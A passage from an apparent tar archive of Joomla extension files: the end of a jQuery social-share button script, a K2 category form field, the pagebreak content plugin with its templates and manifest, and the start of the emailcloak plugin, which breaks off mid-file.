    var mailButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'mailButton';
    };
    mailButton.prototype = new Button;
    mailButton.prototype
        = $.extend(mailButton.prototype,
        {
            /*@methods*/

            countLikes: function ()
            {
                if(!jllickeproSettings.enableCounters){
                    return;
                }
                var id = this.id;

                var serviceURI = this.getCountLink(this.linkToShare);

                return $.ajax({
                    url: serviceURI,
                    dataType: 'jsonp',
                    success: function (data, status, jqXHR) {
                        if (status == 'success' && typeof data.share_mm != 'undefined') {
                            if (data.share_mm > 0) {
                                var elem = $('#'+id);
                                elem.addClass('like-not-empty');
                                $('span.l-count', elem).text(data.share_mm);
                                jllikeproAllCouner(elem);
                            }
                        }
                    }
                });
            },
            getCountLink: function (linkToShare){
                return this.countServiceUrl + encodeURIComponent(linkToShare.replace('http://', '').replace('https://', ''));
            },
            getShareLink: function () {
                return url = 'https://connect.mail.ru/share' +
                    '?url='+ encodeURIComponent(this.linkToShare) +
                    '&image_url=' + encodeURIComponent(this.images[0]) +
                    '&title=' + encodeURIComponent(this.title) +
                    '&description=' + encodeURIComponent(this.summary)
                    ;
            },

            /*@properties*/
            countServiceUrl: 'https://appsmail.ru/share/count/'
        });

    /***MAIL ***/////


    /***LINKIN ***/////
    var linButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'linButton';
    };
    linButton.prototype = new Button;
    linButton.prototype
        = $.extend(linButton.prototype,
        {
            /*@methods*/
            countLikes: function ()
            {
                if(!jllickeproSettings.enableCounters){
                    return;
                }

                jllikeproShareUrls.linkedin[this.linkToShare] = this.id;

                w.setLinkedInCount = function(data){

                    if(!jllikeproShareUrls.linkedin.hasOwnProperty(data.url))
                    {
                        return;
                    }

                    var id = jllikeproShareUrls.linkedin[data.url];
                    var shares = data.count;
                    if(shares>0){
                        var elem = $('#'+id);
                        elem.addClass('like-not-empty');
                        $('span.l-count', elem).text(shares);
                        jllikeproAllCouner(elem);
                    }

                }

                var serviceURI = this.getCountLink(this.linkToShare);
                return $.ajax({
                    url: serviceURI,
                    dataType: 'jsonp'
                });
            },

            getShareLink: function () {
                return 'http://www.linkedin.com/shareArticle?mini=true&ro=false&trk=bookmarklet&url='
                    + this.linkToShare;//encodeURIComponent(this.linkToShare);
            },

            /*@properties*/
            countServiceUrl: 'https://www.linkedin.com/countserv/count/share?&callback=setLinkedInCount&format=jsonp&url='
        });

    /***LINKIN ***/////


    /***pinteres ***/////
    var pinteresButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'pinteresButton';
    };
    pinteresButton.prototype = new Button;
    pinteresButton.prototype
        = $.extend(pinteresButton.prototype,
        {
            /*@methods*/

            countLikes: function ()
            {
                if(!jllickeproSettings.enableCounters){
                    return;
                }

                jllikeproShareUrls.pinteres[this.linkToShare] = this.id;

                w.setPinteresCount = function(data)
                {
                    if (data.hasOwnProperty('count'))
                    {
                        if(!jllikeproShareUrls.pinteres.hasOwnProperty(data.url))
                        {
                            return;
                        }

                        var id = jllikeproShareUrls.pinteres[data.url];
                        if(data.count > 0){
                            var elem = $('#'+id);
                            elem.addClass('like-not-empty');
                            $('span.l-count', elem).text(data.count);
                            jllikeproAllCouner(elem);
                        }
                    }
                }

                serviceURI = this.getCountLink(this.linkToShare);
                return $.ajax({
                    url: serviceURI,
                    dataType: 'jsonp'
                });
            },

            getShareLink: function () {
                var media = (this.images[0] != undefined) ? this.images[0] : '';
                return 'http://www.pinterest.com/pin/create/button/?' +
                    'url=' + encodeURIComponent(this.linkToShare)+
                    '&media=' + media +
                    '&description=' + this.summary;
            },

            /*@properties*/
            countServiceUrl: 'https://api.pinterest.com/v1/urls/count.json?callback=setPinteresCount&url=' 
        });

    /***pinteres ***/////
	
	/*** LiveJournal ***///	
	 var LivejournalButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'livejournal';
    };
    LivejournalButton.prototype = new Button;
    LivejournalButton.prototype
        = $.extend(LivejournalButton.prototype,
        {
            /*@methods*/
            countLikes: function () {},

            getShareLink: function () {
                return 'http://livejournal.com/update.bml?'
                    + 'subject=' + encodeURIComponent(this.title)
                    + '&event=' + encodeURIComponent('<a href="' + this.linkToShare + '">' + this.title + '</a> ' + this.summary);
            },

            /*@properties*/
            countServiceUrl: 'http://livejournal.com/'
        });
	/*** LiveJournal ***///
	
	/*** Blogger ***///	
	 var BloggerButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'Blogger';
    };
    BloggerButton.prototype = new Button;
    BloggerButton.prototype
        = $.extend(BloggerButton.prototype,
        {
            /*@methods*/
            countLikes: function () {},

            getShareLink: function () {
                return 'https://www.blogger.com/blog-this.g?'
                    + 'u=' + encodeURIComponent(this.linkToShare)
                    + '&n=' + encodeURIComponent(this.title);
            },

            /*@properties*/
            countServiceUrl: 'https://www.blogger.com/'
        });
		
	
	/*** Weibo ***///	
	var WeiboButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'Weibo';
    };
   WeiboButton.prototype = new Button;
    WeiboButton.prototype
        = $.extend(WeiboButton.prototype,
        {
            /*@methods*/
            countLikes: function () {},
            getShareLink: function () {
                return 'http://service.weibo.com/share/share.php?'
                    + 'url=' + encodeURIComponent(this.linkToShare)
                    + '&title=' + encodeURIComponent(this.title);
            },

            /*@properties*/
            countServiceUrl: 'http://service.weibo.com/'
        });
    /*** Weibo ***///
    
    /*** Telegram ***///	
	var TelegramButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'Telegram';
    };
   TelegramButton.prototype = new Button;
    TelegramButton.prototype
        = $.extend(TelegramButton.prototype,
        {
            /*@methods*/
            countLikes: function () {},
            getShareLink: function () {
                return 'https://t.me/share/url?url='
                    + 'url=' + encodeURIComponent(this.linkToShare)
                    + '&text=' + encodeURIComponent(this.title);
            },

            /*@properties*/
            countServiceUrl: 'https://t.me/'
        });
	/*** Telegram ***///
	
	/*** Whatsapp ***///	
	var WhatsappButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'Whatsapp';
    };
   WhatsappButton.prototype = new Button;
    WhatsappButton.prototype
        = $.extend(WhatsappButton.prototype,
        {
            /*@methods*/
            countLikes: function () {},
            getShareLink: function () {
                return 'https://api.whatsapp.com/send?'                   
                    + 'text=' + encodeURIComponent(this.title) + ' - ' +  encodeURIComponent(this.linkToShare);
            },

            /*@properties*/
            countServiceUrl: 'https://api.whatsapp.com'
        });
    /*** Whatsapp ***///
    
    	/*** Viber ***///	
	var ViberButton = function ($context, conf, index) {
        this.init($context, conf, index);
        this.type = 'Viber';
    };
    ViberButton.prototype = new Button;
    ViberButton.prototype
        = $.extend(ViberButton.prototype,
        {
            /*@methods*/
            countLikes: function () {},
            getShareLink: function () {
                return 'viber://forward?'
                    + 'text=' + encodeURIComponent(this.linkToShare);
            },

            /*@properties*/
            countServiceUrl: 'https://viber.com'
        });
	/*** Viber ***///
	
//+++++++++    

    var jllikeproAllCouner = function(element)
    {
        var parent = $(element).parents('.jllikeproSharesContayner');
        var counterSpan = parent.find('span.l-all-count');
        var counterValue = 0;
        var tmpVal;
        parent.find('.l-count').not('.l-all-count').each(function(){
            tmpVal = $(this).text();
            if(tmpVal != ''){
                counterValue += parseInt(tmpVal);
            }
        });
        counterSpan.text(counterValue);
    };

    $.fn.socialButton = function (config) {

        this.each(function (index, element) {
            setTimeout(function () {
                var
                    $element = $(element),
                    conf = new ButtonConfiguration(config),
                    b = false;

                Button.lastIndex++;

                if ($element.is(conf.selectors.facebookButton)) {
                    b = new FacebookButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.twitterButton)) {
                    b = new TwitterButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.vkontakteButton)) {
                    b = new VkontakteButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.odnoklassnikiButton)) {
                    b = new odnoklassnikiButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.mailButton)) {
                    b = new mailButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.linButton)) {
                    b = new linButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.pinteresButton)) {
                    b = new pinteresButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.LivejournalButton)) {
                    b = new LivejournalButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.BloggerButton)) {
                    b = new BloggerButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.WeiboButton)) {
                    b = new WeiboButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.TelegramButton)) {
                    b = new TelegramButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.WhatsappButton)) {
                    b = new WhatsappButton($element, conf, Button.lastIndex);
                } else if ($element.is(conf.selectors.ViberButton)) {
                    b = new ViberButton($element, conf, Button.lastIndex);
                }
				
				
				

                $
                    .when(b.ajaxRequest)
                    .then(
                    function () {
                        $element.trigger('socialButton.done', [b.type]);
                    }
                    , function () {
                        $element.trigger('socialButton.done', [b.type]);
                    }
                );
            }, 0);
        });

        return this;
    };

    $.scrollToButton = function (hashParam, duration) {
        if (!w.location.hash) {
            if (w.location.search) {
                var currentHash = getParam(hashParam);
                if (currentHash) {
                    var $to = $('#' + currentHash);
                    if ($to.length > 0) {
                        $('html,body')
                            .animate({
                                scrollTop: $to.offset().top,
                                scrollLeft: $to.offset().left
                            }, duration || 1000);
                    }
                }
            }
        }

        return this;
    };

})(jQuery, window, document);

jQuery(document).ready(function ($)
{
    $('.like').socialButton();

    var likes = $('div.jllikeproSharesContayner');
    var contayner = jllickeproSettings.buttonsContayner;
    if(contayner != ''
        && $(contayner).length > 0
        && likes.length > 0
        && jllickeproSettings.isCategory == 0)
    {
        likes.remove();
        $(contayner).html(likes);
    }
});
                                                                                                                                                                                                                                                                                                                                                                                 content/jllike/elements/k2categories.php                                                            0000705                 00000003522 15242051520 0014373 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version		$Id: categoriesmultiple.php 1812 2013-01-14 18:45:06Z lefteris.kavadas $
 * @package		K2
 * @author		JoomlaWorks http://www.joomlaworks.net
 * @copyright	Copyright (c) 2006 - 2013 JoomlaWorks Ltd. All rights reserved.
 * @license		GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die ;

jimport('joomla.form.formfield');

class JFormFieldk2Categories extends JFormField
{

    public $type = 'k2categories';

    protected function getInput()
    {
        if(!is_file(JPATH_ADMINISTRATOR.'/components/com_k2/k2.php'))
        {
            return '';
        }

        $value = empty($this->value) ? array() : $this->value;

        $db = JFactory::getDBO();
        $query = 'SELECT m.* FROM #__k2_categories m WHERE trash = 0 ORDER BY parent, ordering';
        $db->setQuery($query);
        $mitems = $db->loadObjectList();
        $children = array();
        if ($mitems)
        {
            foreach ($mitems as $v)
            {
                $v->title = $v->name;
                $v->parent_id = $v->parent;
                $pt = $v->parent;
                $list = @$children[$pt] ? $children[$pt] : array();
                array_push($list, $v);
                $children[$pt] = $list;
            }
        }
        $list = JHTML::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0);
        $mitems = array();

        foreach ($list as $item)
        {
            $item->treename = JString::str_ireplace('&#160;', '- ', $item->treename);
            $mitems[] = JHTML::_('select.option', $item->id, '   '.$item->treename);
        }

        $output = JHTML::_('select.genericlist', $mitems, $this->name, 'class="inputbox" multiple="multiple" size="10"', 'value', 'text', $value);
        return $output;
    }
}                                                                                                                                                                              content/jllike/elements/index.html                                                                  0000705                 00000000040 15242051520 0013265 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html>
<body>
</body>
</html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                content/pagebreak/index.html                                                                        0000705                 00000000037 15242051520 0012126 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/pagebreak/tmpl/toc.php                                                                      0000705                 00000001366 15242051520 0012411 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="pull-right article-index">

	<?php if ($headingtext) : ?>
	<h3><?php echo $headingtext; ?></h3>
	<?php endif; ?>

	<ul class="nav nav-tabs nav-stacked">
	<?php foreach ($list as $listItem) : ?>
		<?php $class = $listItem->liClass ? ' class="' . $listItem->liClass . '"' : ''; ?>
		<li<?php echo $class; ?>>
			<a href="<?php echo $listItem->link; ?>" class="<?php echo $listItem->class; ?>">
				<?php echo $listItem->title; ?>
			</a>
		</li>
	<?php endforeach; ?>
	</ul>
</div>
                                                                                                                                                                                                                                                                          content/pagebreak/tmpl/navigation.php                                                               0000705                 00000002663 15242051520 0013764 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$lang = JFactory::getLanguage();
?>
<ul>
	<li>
		<?php if ($links['previous']) :
		$direction = $lang->isRtl() ? 'right' : 'left';
		$title = htmlspecialchars($this->list[$page]->title, ENT_QUOTES, 'UTF-8');
		$ariaLabel = JText::_('JPREVIOUS') . ': ' . $title . ' (' . JText::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', $page, $n) . ')';
		?>
		<a href="<?php echo $links['previous']; ?>" title="<?php echo $title; ?>" aria-label="<?php echo $ariaLabel; ?>" rel="prev">
			<?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span> ' . JText::_('JPREV'); ?>
		</a>
		<?php endif; ?>
	</li>
	<li>
		<?php if ($links['next']) :
		$direction = $lang->isRtl() ? 'left' : 'right';
		$title = htmlspecialchars($this->list[$page + 2]->title, ENT_QUOTES, 'UTF-8');
		$ariaLabel = JText::_('JNEXT') . ': ' . $title . ' (' . JText::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', ($page + 2), $n) . ')';
		?>
		<a href="<?php echo $links['next']; ?>" title="<?php echo $title; ?>" aria-label="<?php echo $ariaLabel; ?>" rel="next">
			<?php echo JText::_('JNEXT') . ' <span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?>
		</a>
		<?php endif; ?>
	</li>
</ul>
                                                                             content/pagebreak/pagebreak.xml                                                                     0000705                 00000005427 15242051520 0012604 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_pagebreak</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="pagebreak">pagebreak.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_pagebreak.ini</language>
		<language tag="en-GB">en-GB.plg_content_pagebreak.sys.ini</language>
	</languages>
	<config>
		<fields name="params">

			<fieldset name="basic">
				<field
					name="title"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_SITE_TITLE_LABEL"
					description="PLG_CONTENT_PAGEBREAK_SITE_TITLE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="article_index"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_LABEL"
					description="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="article_index_text"
					type="text"
					label="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT"
					description="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT_DESC"
					showon="article_index:1"
				/>

				<field
					name="multipage_toc"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_TOC_LABEL"
					description="PLG_CONTENT_PAGEBREAK_TOC_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="showall"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_SHOW_ALL_LABEL"
					description="PLG_CONTENT_PAGEBREAK_SHOW_ALL_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="style"
					type="list"
					label="PLG_CONTENT_PAGEBREAK_STYLE_LABEL"
					description="PLG_CONTENT_PAGEBREAK_STYLE_DESC"
					default="pages"
					>
					<option value="pages">PLG_CONTENT_PAGEBREAK_PAGES</option>
					<option value="sliders">PLG_CONTENT_PAGEBREAK_SLIDERS</option>
					<option value="tabs">PLG_CONTENT_PAGEBREAK_TABS</option>
				</field>
			</fieldset>

		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                         content/pagebreak/pagebreak.php                                                                     0000705                 00000022765 15242051520 0012577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

jimport('joomla.utilities.utility');

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

/**
 * Page break plugin
 *
 * <b>Usage:</b>
 * <code><hr class="system-pagebreak" /></code>
 * <code><hr class="system-pagebreak" title="The page title" /></code>
 * or
 * <code><hr class="system-pagebreak" alt="The first page" /></code>
 * or
 * <code><hr class="system-pagebreak" title="The page title" alt="The first page" /></code>
 * or
 * <code><hr class="system-pagebreak" alt="The first page" title="The page title" /></code>
 *
 * @since  1.6
 */
class PlgContentPagebreak extends JPlugin
{
	/**
	 * The navigation list with all page objects if parameter 'multipage_toc' is active.
	 *
	 * @var    array
	 * @since  3.9.2
	 */
	protected $list = array();

	/**
	 * Plugin that adds a pagebreak into the text and truncates text at that point
	 *
	 * @param   string   $context  The context of the content being passed to the plugin.
	 * @param   object   &$row     The article object.  Note $article->text is also available
	 * @param   mixed    &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  mixed  Always returns void or true
	 *
	 * @since   1.6
	 */
	public function onContentPrepare($context, &$row, &$params, $page = 0)
	{
		$canProceed = $context === 'com_content.article';

		if (!$canProceed)
		{
			return;
		}

		$style = $this->params->get('style', 'pages');

		// Expression to search for.
		$regex = '#<hr(.*)class="system-pagebreak"(.*)\/>#iU';

		$input = JFactory::getApplication()->input;

		$print = $input->getBool('print');
		$showall = $input->getBool('showall');

		if (!$this->params->get('enabled', 1))
		{
			$print = true;
		}

		if ($print)
		{
			$row->text = preg_replace($regex, '<br />', $row->text);

			return true;
		}

		// Simple performance check to determine whether bot should process further.
		if (StringHelper::strpos($row->text, 'class="system-pagebreak') === false)
		{
			if ($page > 0)
			{
				throw new Exception(JText::_('JERROR_PAGE_NOT_FOUND'), 404);
			}

			return true;
		}

		$view = $input->getString('view');
		$full = $input->getBool('fullview');

		if (!$page)
		{
			$page = 0;
		}

		if ($full || $view !== 'article' || $params->get('intro_only') || $params->get('popup'))
		{
			$row->text = preg_replace($regex, '', $row->text);

			return;
		}

		// Load plugin language files only when needed (ex: not needed if no system-pagebreak class exists).
		$this->loadLanguage();

		// Find all instances of plugin and put in $matches.
		$matches = array();
		preg_match_all($regex, $row->text, $matches, PREG_SET_ORDER);

		if ($showall && $this->params->get('showall', 1))
		{
			$hasToc = $this->params->get('multipage_toc', 1);

			if ($hasToc)
			{
				// Display TOC.
				$page = 1;
				$this->_createToc($row, $matches, $page);
			}
			else
			{
				$row->toc = '';
			}

			$row->text = preg_replace($regex, '<br />', $row->text);

			return true;
		}

		// Split the text around the plugin.
		$text = preg_split($regex, $row->text);

		if (!isset($text[$page]))
		{
			throw new Exception(JText::_('JERROR_PAGE_NOT_FOUND'), 404);
		}

		// Count the number of pages.
		$n = count($text);

		// We have found at least one plugin, therefore at least 2 pages.
		if ($n > 1)
		{
			$title  = $this->params->get('title', 1);
			$hasToc = $this->params->get('multipage_toc', 1);

			// Adds heading or title to <site> Title.
			if ($title && $page && isset($matches[$page - 1][0]))
			{
				$attrs = JUtility::parseAttributes($matches[$page - 1][0]);

				if (isset($attrs['title']))
				{
					$row->page_title = $attrs['title'];
				}
			}

			// Reset the text, we already hold it in the $text array.
			$row->text = '';

			if ($style === 'pages')
			{
				// Display TOC.
				if ($hasToc)
				{
					$this->_createToc($row, $matches, $page);
				}
				else
				{
					$row->toc = '';
				}

				// Traditional mos page navigation
				$pageNav = new JPagination($n, $page, 1);

				// Flag indicates to not add limitstart=0 to URL
				$pageNav->hideEmptyLimitstart = true;

				// Page counter.
				$row->text .= '<div class="pagenavcounter">';
				$row->text .= $pageNav->getPagesCounter();
				$row->text .= '</div>';

				// Page text.
				$text[$page] = str_replace('<hr id="system-readmore" />', '', $text[$page]);
				$row->text .= $text[$page];

				// $row->text .= '<br />';
				$row->text .= '<div class="pager">';

				// Adds navigation between pages to bottom of text.
				if ($hasToc)
				{
					$this->_createNavigation($row, $page, $n);
				}

				// Page links shown at bottom of page if TOC disabled.
				if (!$hasToc)
				{
					$row->text .= $pageNav->getPagesLinks();
				}

				$row->text .= '</div>';
			}
			else
			{
				$t[] = $text[0];

				$t[] = (string) JHtml::_($style . '.start', 'article' . $row->id . '-' . $style);

				foreach ($text as $key => $subtext)
				{
					if ($key >= 1)
					{
						$match = $matches[$key - 1];
						$match = (array) JUtility::parseAttributes($match[0]);

						if (isset($match['alt']))
						{
							$title = stripslashes($match['alt']);
						}
						elseif (isset($match['title']))
						{
							$title = stripslashes($match['title']);
						}
						else
						{
							$title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $key + 1);
						}

						$t[] = (string) JHtml::_($style . '.panel', $title, 'article' . $row->id . '-' . $style . $key);
					}

					$t[] = (string) $subtext;
				}

				$t[] = (string) JHtml::_($style . '.end');

				$row->text = implode(' ', $t);
			}
		}

		return true;
	}

	/**
	 * Creates a Table of Contents for the pagebreak
	 *
	 * @param   object   &$row      The article object.  Note $article->text is also available
	 * @param   array    &$matches  Array of matches of a regex in onContentPrepare
	 * @param   integer  &$page     The 'page' number
	 *
	 * @return  void
	 *
	 * @since  1.6
	 */
	protected function _createToc(&$row, &$matches, &$page)
	{
		$heading     = isset($row->title) ? $row->title : JText::_('PLG_CONTENT_PAGEBREAK_NO_TITLE');
		$input       = JFactory::getApplication()->input;
		$limitstart  = $input->getUInt('limitstart', 0);
		$showall     = $input->getInt('showall', 0);
		$headingtext = '';

		if ($this->params->get('article_index', 1) == 1)
		{
			$headingtext = JText::_('PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX');

			if ($this->params->get('article_index_text'))
			{
				$headingtext = htmlspecialchars($this->params->get('article_index_text'), ENT_QUOTES, 'UTF-8');
			}
		}

		// TOC first Page link.
		$this->list[1]          = new stdClass;
		$this->list[1]->liClass = ($limitstart === 0 && $showall === 0) ? 'toclink active' : 'toclink';
		$this->list[1]->class   = $this->list[1]->liClass;
		$this->list[1]->link    = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language));
		$this->list[1]->title   = $heading;

		$i = 2;

		foreach ($matches as $bot)
		{
			if (@$bot[0])
			{
				$attrs2 = JUtility::parseAttributes($bot[0]);

				if (@$attrs2['alt'])
				{
					$title = stripslashes($attrs2['alt']);
				}
				elseif (@$attrs2['title'])
				{
					$title = stripslashes($attrs2['title']);
				}
				else
				{
					$title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $i);
				}
			}
			else
			{
				$title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $i);
			}

			$this->list[$i]          = new stdClass;
			$this->list[$i]->link    = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language) . '&limitstart=' . ($i - 1));
			$this->list[$i]->title   = $title;
			$this->list[$i]->liClass = ($limitstart === $i - 1) ? 'active' : '';
			$this->list[$i]->class   = ($limitstart === $i - 1) ? 'toclink active' : 'toclink';

			$i++;
		}

		if ($this->params->get('showall'))
		{
			$this->list[$i]          = new stdClass;
			$this->list[$i]->link    = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language) . '&showall=1');
			$this->list[$i]->liClass = ($showall === 1) ? 'active' : '';
			$this->list[$i]->class   = ($showall === 1) ? 'toclink active' : 'toclink';
			$this->list[$i]->title   = JText::_('PLG_CONTENT_PAGEBREAK_ALL_PAGES');
		}

		$list = $this->list;
		$path = JPluginHelper::getLayoutPath('content', 'pagebreak', 'toc');
		ob_start();
		include $path;
		$row->toc = ob_get_clean();
	}

	/**
	 * Creates the navigation for the item
	 *
	 * @param   object  &$row  The article object.  Note $article->text is also available
	 * @param   int     $page  The page number
	 * @param   int     $n     The total number of pages
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function _createNavigation(&$row, $page, $n)
	{
		$links = array(
			'next' => '',
			'previous' => ''
		);

		if ($page < $n - 1)
		{
			$links['next'] = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language) . '&limitstart=' . ($page + 1));
		}

		if ($page > 0)
		{
			$links['previous'] = ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language);

			if ($page > 1)
			{
				$links['previous'] .= '&limitstart=' . ($page - 1);
			}

			$links['previous'] = JRoute::_($links['previous']);
		}

		$path = JPluginHelper::getLayoutPath('content', 'pagebreak', 'navigation');
		ob_start();
		include $path;
		$row->text .= ob_get_clean();
	}
}
           content/emailcloak/index.html                                                                       0000705                 00000000037 15242051520 0012306 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/emailcloak/emailcloak.php                                                                   0000705                 00000042375 15242051520 0013136 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.emailcloak
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Email cloack plugin class.
 *
 * @since  1.5
 */
class PlgContentEmailcloak extends JPlugin
{
	/**
	 * Plugin that cloaks all emails in content from spambots via Javascript.
	 *
	 * @param   string   $context  The context of the content being passed to the plugin.
	 * @param   mixed    &$row     An object with a "text" property or the string to be cloaked.
	 * @param   mixed    &$params  Additional parameters. See {@see PlgContentEmailcloak()}.
	 * @param   integer  $page     Optional page number. Unused. Defaults to zero.
	 *
	 * @return  boolean	True on success.
	 */
	public function onContentPrepare($context, &$row, &$params, $page = 0)
	{
		// Don't run this plugin when the content is being indexed
		if ($context === 'com_finder.indexer')
		{
			return true;
		}

		if (is_object($row))
		{
			return $this->_cloak($row->text, $params);
		}

		return $this->_cloak($row, $params);
	}

	/**
	 * Generate a search pattern based on link and text.
	 *
	 * @param   string  $link  The target of an email link.
	 * @param   string  $text  The text enclosed by the link.
	 *
	 * @return  string	A regular expression that matches a link containing the parameters.
	 */
	protected function _getPattern ($link, $text)
	{
		$pattern = '~(?:<a ([^>]*)href\s*=\s*"mailto:' . $link . '"([^>]*))>' . $text . '</a>~i';

		return $pattern;
	}

	/**
	 * Adds an attributes to the js cloaked email.
	 *
	 * @param   string  $jsEmail  Js cloaked email.
	 * @param   string  $before   Attributes before email.
	 * @param   string  $after    Attributes after email.
	 *
	 * @return string Js cloaked email with attributes.
	 */
	protected function _addAttributesToEmail($jsEmail, $before, $after)
	{
		if ($before !== '')
		{
			$before = str_replace("'", "\'", $before);
			$jsEmail = str_replace(".innerHTML += '<a '", ".innerHTML += '<a {$before}'", $jsEmail);
		}

		if ($after !== '')
		{
			$after = str_replace("'", "\'", $after);
			$jsEmail = str_replace("'\'>'", "'\'{$after}>'", $jsEmail);
		}

		return $jsEmail;
	}

	/**
	 * Cloak all emails in text from spambots via Javascript.
	 *
	 * @param   string  &$text    The string to be cloaked.
	 * @param   mixed   &$params  Additional parameters. Parameter "mode" (integer, default 1)
	 *                             replaces addresses with "mailto:" links if nonzero.
	 *
	 * @return  boolean  True on success.
	 */
	protected function _cloak(&$text, &$params)
	{
		/*
		 * Check for presence of {emailcloak=off} which is explicits disables this
		 * bot for the item.
		 */
		if (StringHelper::strpos($text, '{emailcloak=off}') !== false)
		{
			$text = StringHelper::str_ireplace('{emailcloak=off}', '', $text);

			return true;
		}

		// Simple performance check to determine whether bot should process further.
		if (StringHelper::strpos($text, '@') === false)
		{
			return true;
		}

		$mode = $this->params->def('mode', 1);

		// Example: any@example.org
		$searchEmail = '([\w\.\'\-\+]+\@(?:[a-z0-9\.\-]+\.)+(?:[a-zA-Z0-9\-]{2,24}))';

		// Example: any@example.org?subject=anyText
		$searchEmailLink = $searchEmail . '([?&][\x20-\x7f][^"<>]+)';

		// Any Text
